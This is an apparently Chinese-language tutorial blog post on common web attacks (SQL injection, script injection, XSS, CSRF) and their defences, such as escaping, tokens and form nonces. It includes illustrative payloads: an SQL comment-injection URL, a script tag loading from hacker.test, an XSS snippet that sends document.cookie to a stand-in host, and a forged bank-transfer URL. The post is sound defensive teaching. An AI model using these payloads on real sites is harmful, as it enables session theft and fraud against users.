本文作者：上海驻云开发总监 陈昂
上篇给大家带来的是关于浏览器基本工作原理的总结和介绍，这篇文章重点给大家说明有哪些常见WEB攻击。
常见WEB攻击
互联网是个面向全世界的开放平台，越是开放的东西漏洞就越是多。有人曾维护了一个列表，上面有上百种的WEB攻击方式。我们常见的有：脚本注入、SQL注入、DDoS、DNS劫持、端口漏洞扫描、密码暴力破解、XSS、CSRF等。这里只挑一些常见的攻击做个介绍：
SQL注入
现在的网站很多都不再是纯粹的静态网站，例如一些CMS网站、交易网站、p2p/p2c网站、大型的系统等。 这些网站都选择PHP、.Net、 Java、 ROR、 Python、NodeJS等编程语言搭建网站的后台，也会选择Mysql、 Oracle、SQL Server等数据库来存储数据。SQL注入就是针对的这样的网站发起的攻击。假如有一个列表页面，请求URL是这样的：https://xxx.xxx/list.php?q=finished
通过这个url可以获取这个用户列表下面所有已经完成的订单。那么我们可以猜想这样的页面后端对应的程序是这样写的：$sql = ‘select * from orders where status=\’’ . status. ‘\’ and userId = \‘’ . userId;
语句本身没有什么问题，后面加上了过滤条件userId只能获取这个用户自己的订单。可是，如果我们这样发起请求：https://xxx.xxx/list.php?q=finished‘--
最终拼接后的语句可能就变成了这个样子：select * from orders where status=‘finished’—and userId=’xxxx’;
由于“—”在数据库里面起到的注释作用，所以“and userId=’xxxx’” 这个过滤条件是不会起作用的。这个语句执行的效果就是黑客获取了这个网站所有已经完成的订单数据。
这里只是举一个简单的例子，关于Sql注入，有兴趣的朋友可以google一把。
防范sql注入其实也很简单：
做好参数检验。
sql传参的地方一定要做sql escape，对sql敏感字符进行转义。
不要直接拼接字符串。
脚本注入
脚本注入只是个表现形式，例如你的网页中出现了一段莫名的脚本：<script src=”http://hacker.test/hack.js”></script>，这就是一个典型的脚本注入。但是注入的方式就有很多了，有的是直接获取了服务器的权限，修改了网页；有的是利用Sql注入技术注入了脚本；还有的是利用网页交互漏洞注入的脚本。甚至有人开发出了脚本注入漏洞扫描和Sql漏洞注入扫描自动机扫描互联网上的网站漏洞。
利用脚本注入这样的方式，黑客可以做很多很多事情：挂马，修改页面内容，将客户跳转到指定的网站，流量导入，信息收集等。
XSS跨站脚本攻击
严格来说XSS应该属于脚本注入的一种方式，只是因为XSS这种方式可以快速轻易的注入脚本而使得它非常流行。举个简单的例子：
有一个网站支持评论和回复，有人在评论框内输入了这么一段脚本：
<script>
var i = document.createElement(‘img’);
i.setAttribute(‘src’, ‘http://attach.com/x.js?c=’+document.cookie);
document.body.appendChild(i);
</script>
提交后，当别人打开这个页面查看这个评论的时候，攻击的网站就获取到了这个人所有cookie信息(包括session id)，然后在通过脚本加载cookie后进行所有被攻击者所具有权限的操作。
防范脚本注入和XSS攻击我们应该做到基本工作是：
服务器只开放必要的端口：如80、443、22等
参数校验
页面提交的内容一定要做HTML Escape 转义
URL上提交的内容要做URL Encode 转义
登录注册入口做好人机识别（验证码等）
CSRF跨站请求伪造
很多人对XSS和CSRF是傻傻分不清楚的。首先常见的XSS攻击的对象是网站本身，通过注入网页的方式，获取用户信息。而CSRF就非常聪明了，直接绕过了注入这一步，甚至黑客不需要获取用户的Cookie信息，直奔主题。
CSRF攻击方式早几年并不为大家所熟知，实际上很多网站都存在CSRF的安全漏洞。早在2000年，CSRF这种攻击方式已经由国外的安全人员提出，但在国内，直到2006年才开始被关注。2008年，国内外多个大型社区和交互网站先后爆出CSRF漏洞，如：百度HI、NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站）和YouTube等。但直到现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为“沉睡的巨人”，其威胁程度由此“美誉”便可见一斑。
那么，我们先来看一下CSRF的攻击原理吧：
如果图中的流程看的不是太明白，那么我们来看一个例子（摘抄自网络）：
受害者 Bob 在银行有一笔存款，通过对银行的网站发送请求： http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下，该请求发送到网站后，服务器会先验证该请求是否来自一个合法的 session，并且该session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户，他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行： http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory但是这个请求来自 Mallory 而非 Bob，他不能通过安全认证，因此该请求不会起作用。这时，Mallory 想到使用 CSRF 的攻击方式，他先自己做一个网站，在网站中放入如下代码：src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”，并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时，上述 url 就会从 Bob 的浏览器发向银行，而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。
大多数情况下，该请求会失败，因为他要求 Bob 的认证信息。但是，如果 Bob 当时恰巧刚访问他的银行后不久，他的浏览器与银行网站之间的 session 尚未过期，浏览器的cookie 之中含有 Bob 的认证信息。这时，悲剧发生了，这个 url 请求就会得到响应，钱将从 Bob 的账号转移到 Mallory 的账号，而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了，即使他去银行查询日志，他也只能发现确实有一个来自于他本人的合法请求转移了资金，没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
目前业界服务器端防御CSRF攻击主要有以下几种策略：
验证HTTP Referer字段
正确使用GET
在请求地址中添加token并验证
在HTTP头中自定义属性并验证。
表单伪随机数
验证HTTPReferer字段
Referer 是HTTP协议定义的一个头字段，它记录了该HTTP请求的来源地址。通过Referer就可以简单的区分出这次请求是来自哪里，并做到基本的防范。
但Referer毕竟是由请求者发起的，如果你用的是IE6浏览器（鄙视下IE），依然是可以伪造的。
正确使用GET
GET常用在查看，列举，展示等不需要改变资源属性的时候。因为GET方式参数是直接呈现在url中的，很方便，但也很不安全。所以不要以GET方式开放不安全的接口。
在请求地址中添加token并验证
在正确使用GET 的前提下，对于非GET请求，如POST，可以用在创建、修改、删除资源或者做其他一些相对敏感的事情。而且需要为每一个用户生成一个唯一的Token存放在Cookie或LocalStorage里面，并附带在Post请求中。但是由于XSS可以轻易的获取用户的Cookie或Local Storage，这种方式也不是十分的安全。
在HTTP头中自定义属性并验证
这种方法也是使用 token 并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，可以一次性给所有该类请求加上csrftoken这个 HTTP 头属性，并把 token 值放入其中。而且，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担心token 会透过 Referer 泄露到其他网站中去。
表单伪随机数
不同的表单包含一个不同的伪随机值。这种做法，其实在一些知名的开源WEB框架里面早就有了，如：PHP的Drupal，Python的Flask，只是国人安全意思太薄弱，太后知后觉了。伪随机数的原理也很简单：
当页面表单生成的时候由后端服务生成伪随机数放置在表单的隐藏域里面，并在后端缓存伪随机数。
表单提交的时候后端服务器验证伪随机数的正确性和时效性，删除缓存的伪随机数。
这样做不仅可以避免CSRF攻击，同时可以避免表单的重复提交。
好了，关于浏览器工作原理和网络安全就先聊这么多，抛砖引玉，还是建议大家自行Google，一定会有更加深入的发现。喜欢我们的话就订阅们吧~~~也可以关注我们的微信公众号：架构云专家频道。每天新鲜干货定时推送哦~
